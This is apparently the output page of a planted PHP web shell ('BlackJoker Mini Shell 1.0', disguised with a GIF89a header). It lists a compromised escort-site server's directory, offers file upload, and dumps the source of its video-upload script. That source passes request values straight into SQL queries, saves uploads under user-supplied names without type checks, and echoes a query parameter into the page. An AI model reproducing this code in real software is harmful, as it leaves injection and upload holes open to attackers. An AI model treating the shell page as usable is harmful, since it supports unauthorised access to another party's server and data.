GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/add-myvideos.php

<?
session_start();
if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");
/*$sql="SELECT * FROM page_content WHERE id='45'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);*/

?>
 <?
	if ($_POST)
	{
		$title=$_POST['title'];
		$video_name=$_POST['video_name'];
		if($_POST['video_type'] == 'Upload Video')
		{
			if($_FILES['video_upload']['tmp_name'])
			{
				$ad_videoname=time().$_FILES['video_upload']['name'];
				move_uploaded_file($_FILES['video_upload']['tmp_name'],'../avtar/'.$ad_videoname);
				
				$sel = "SELECT vid_you2 FROM escort_details where user_id='".$_SESSION['userid']."'";
				$res = execute_query($sel);
				$row = mysql_fetch_array($res);
				if($row['vid_you2'] != "" && file_exists('../avtar/'.$row['vid_you2']))
				{
					unlink('../avtar/'.$row['vid_you2']);
				}
				
				$sql_ind_escort2="update escort_details set vid_you_title='$title',vid_you2='$ad_videoname',vid_you='' where user_id='".$_SESSION['userid']."'";					
				execute_query($sql_ind_escort2);
				?>
						<script language="javascript">
							location.href="add-myvideos.php?msg=success";
						</script>
				<?
			}
			else
			{
				?>
						<script language="javascript">
							location.href="add-myvideos.php?msg=upload_video_error";
						</script>
				<?
			}
		}		
		else if($_POST['video_type'] == 'You Tube')
		{
			$sel = "SELECT vid_you2 FROM escort_details where id='".$_GET['id']."' and user_id='".$_SESSION['userid']."'";
			$res = execute_query($sel);
			$row = mysql_fetch_array($res);
			if($row['vid_you2'] != "" && file_exists('../avtar/'.$row['vid_you2']))
			{
				unlink('../avtar/'.$row['vid_you2']);
			}
			$sql_ind_escort2="update escort_details set vid_you_title='$title',vid_you='$video_name',vid_you2='' where user_id='".$_SESSION['userid']."'";
					
			execute_query($sql_ind_escort2);
			?>
					<script language="javascript">
						location.href="add-myvideos.php?msg=success";
					</script>
			<?
		}
		else
		{
			?>
					<script language="javascript">
						location.href="add-myvideos.php?msg=select_video_type";
					</script>
			<?
		}
	}
?>
<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Escort Service-Escorts,Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
  <script>
  	$( document ).on( "pageinit", function() {
    $( "#popupVideo iframe" )
        .attr( "width", 0 )
        .attr( "height", 0 );
		  
    $( "#popupVideo" ).on({
        popupbeforeposition: function() {
            var size = scale( 497, 298, 15, 1 ),
                w = size.width,
                h = size.height;

            $( "#popupVideo iframe" )
                .attr( "width", w )
                .attr( "height", h );
        },
        popupafterclose: function() {
            $( "#popupVideo iframe" )
                .attr( "width", 0 )
                .attr( "height", 0 );    
        }
    });
});
  </script>
  <style type="text/css">
  	#frm .ui-radio{ float:left; width:30px;}
  </style>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>
    <? include "includes/header.php";?>
    <div data-role="content" id="searchboxx">
    	<span style="float:left !important; margin-top:-5px !important;"><a style="float:left;" href="index.php" class="ui-btn ui-shadow ui-corner-all ui-icon-home ui-btn-icon-notext" data-iconpos="right" title="Go Home">Home</a></span>
        <span style="float:right !important; margin-top:-5px !important;"><a style="float:right;" href="my-account.php" class="ui-btn ui-shadow ui-corner-all ui-icon-back ui-btn-icon-notext" data-iconpos="right" title="Go Dashboard">back</a></span>
    </div>
    
	<div data-role="content">
    	
        <h2 id="loginheadertext">Add New Video</h2>
        <!--<p id="alsignup">Do you have a promo code? <a href="#" data-transition="flip"  id="loginnow">Redeem it now, before you register!</a></p>-->
       <!-- <p id="loginalertmsg">
        	Please use your EscortService username and password to login bellow.
        </p>
        <p id="loginalertmsg">
        	Need to Register? <a href="join.html" id="jointextcolor" data-transition="flip" data-prefetch>Get Started Now!</a>
        </p>-->
        <form action="<?=$_SERVER['PHP_SELF'] ?>" method="post" name="frm" id="frm" data-ajax="false" enctype="multipart/form-data">
            <input name="submit_form" value="1" type="hidden">
                      
            
            
            <label for="txt-username">Video Title:<span id="starcolor">*</span></label>
            <input type="text" name="title" id="txt-username" value="">
			
			<label for="txt-username">Video Type:<span id="starcolor">*</span></label>
            <input type="radio" id="video_type1" name="video_type" value="You Tube" onClick="hideshow_video(this.value)"> <div style="float:left;">You Tube</div> &nbsp; <input type="radio" id="video_type2" name="video_type" value="Upload Video" onClick="hideshow_video(this.value)"> <div style="float:left;">Upload Video </div>
             <br/>
        	<span id="video_url_span" style="display:none;">
			<label for="txt-email">Video URL:<span id="starcolor">*</span></label>
            <input type="tel" name="video_name" id="txt-email" value=""> <br/> e.g. http://www.youtube.com/watch?v=LsmnLdeEWdk
            </span>
			
			<span id="video_upload_span" style="display:none;">
			<label for="txt-email">Upload Video:<span id="starcolor">*</span></label>
            <input type="file" name="video_upload" id="video_upload" class="main_input" />
            </span>
          
            <br/>
                
               
                
             <input type="hidden" name="postid" value="<?=$_GET['pid']?>" />
             <input type="image" src="continue.png" style="height:35px; margin-top:10px;">
             </form>
             <br/>
             <p>
             						 <?
                                        	$sql_video="Select * from escort_details where user_id='".$_SESSION['userid']."'";
											$res_video=execute_query($sql_video);
											$num_video=mysql_num_rows($res_video);
											$row_profile=mysql_fetch_array($res_video);
											$video=explode("=",$row_profile['vid_you']);
											$vid_id=end($video);
											$vidoe="select * from default_video where id='1'";
											$resvid=execute_query($vidoe);
											$rowvid=mysql_fetch_array($resvid);
											$def_vid=explode("=",$rowvid['video_url']);
											$vdef=end($def_vid);
										?>
                                        <? if($vid_id!=""){?>
                                        	<iframe width="100%" height="320" src="//www.youtube.com/embed/<?=$vid_id?>?modestbranding=1&rel=0&showinfo=0" frameborder="0" allowfullscreen></iframe>
                                        <? }else if ($row_profile['vid_you2']!=''){
											?>
												<video width="100%" controls>
												   <?php if(file_exists('avtar/'.$row_profile['vid_you2'])) { ?>
												  <source src="http://escortservice.org/m/avtar/<?php echo $row_profile['vid_you2'];?>" type="video/mp4">
												  <?php } else { ?>
												  <source src="http://escortservice.org/avtar/<?php echo $row_profile['vid_you2'];?>" type="video/mp4">
												  <?php } ?>
												  Your browser does not support HTML5 video.
												</video>
											<?php	
										}else if($row_profile['def_video']=='u'){?>
                                        <iframe width="450" height="320" src="test_upload/tera_deear_hua_jannat_2_download_indian_mp4_video_songs-(mobighar.com).mp4" src="//www.youtube.com/embed/<?=$vdef?>?modestbranding=1&rel=0&showinfo=0" frameborder="0" allowfullscreen></iframe> 
                                        <? } else {?>
                                        <div>&nbsp;</div>
                                        <? }?>
             
             </p>
             
               <script type="text/javascript">
     $(document).ready(function(){
      $("#jquery_jplayer_1").jPlayer({
       ready: function () {
        $(this).jPlayer("setMedia", {
         m4a: "/test_upload/tera_deear_hua_jannat_2_download_indian_mp4_video_songs-(mobighar.com).mp4",
         oga: "/test_upload/tera_deear_hua_jannat_2_download_indian_mp4_video_songs-(mobighar.com).ogg"
        });
       },
       swfPath: "/js",
       supplied: "m4a, oga"
      });
     });
    </script>
    <div id="jquery_jplayer_1"></div>
    <div id="jp_container_1">
     <a href="#" class="jp-play">Play</a>
     <a href="#" class="jp-pause">Pause</a>
    </div>

             
             
             
             
             
             
            <!--<a href="#dlg-invalid-credentials" data-rel="popup" data-transition="pop" data-position-to="window" id="btn-submit" ><img src="continue.png" style="height:35px; margin-top:10px;"></a>-->
            
            <div data-role="popup" id="dlg-invalid-credentials" data-dismissible="false" style="max-width:400px;">
                <div role="main" class="ui-content">
                    <h3 class="mc-text-danger">Login Failed</h3>
                    <p>Did you enter the right credentials?</p>
                    <div class="mc-text-center"><a href="#" data-rel="back" class="ui-btn ui-corner-all ui-shadow ui-btn-b mc-top-margin-1-5">OK</a></div>
                </div>
            </div>
        
        
        
	  	
	</div>
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>
<script language="javascript">
	function hideshow_video(value)
	{
		if(value == 'You Tube')
		{
			document.getElementById('video_upload_span').style.display='none';
			document.getElementById('video_url_span').style.display='block';
		}
		else if(value == 'Upload Video')
		{
			document.getElementById('video_upload_span').style.display='block';
			document.getElementById('video_url_span').style.display='none';
		}
	}
</script>

./BlackJoker Mini Shell 1.0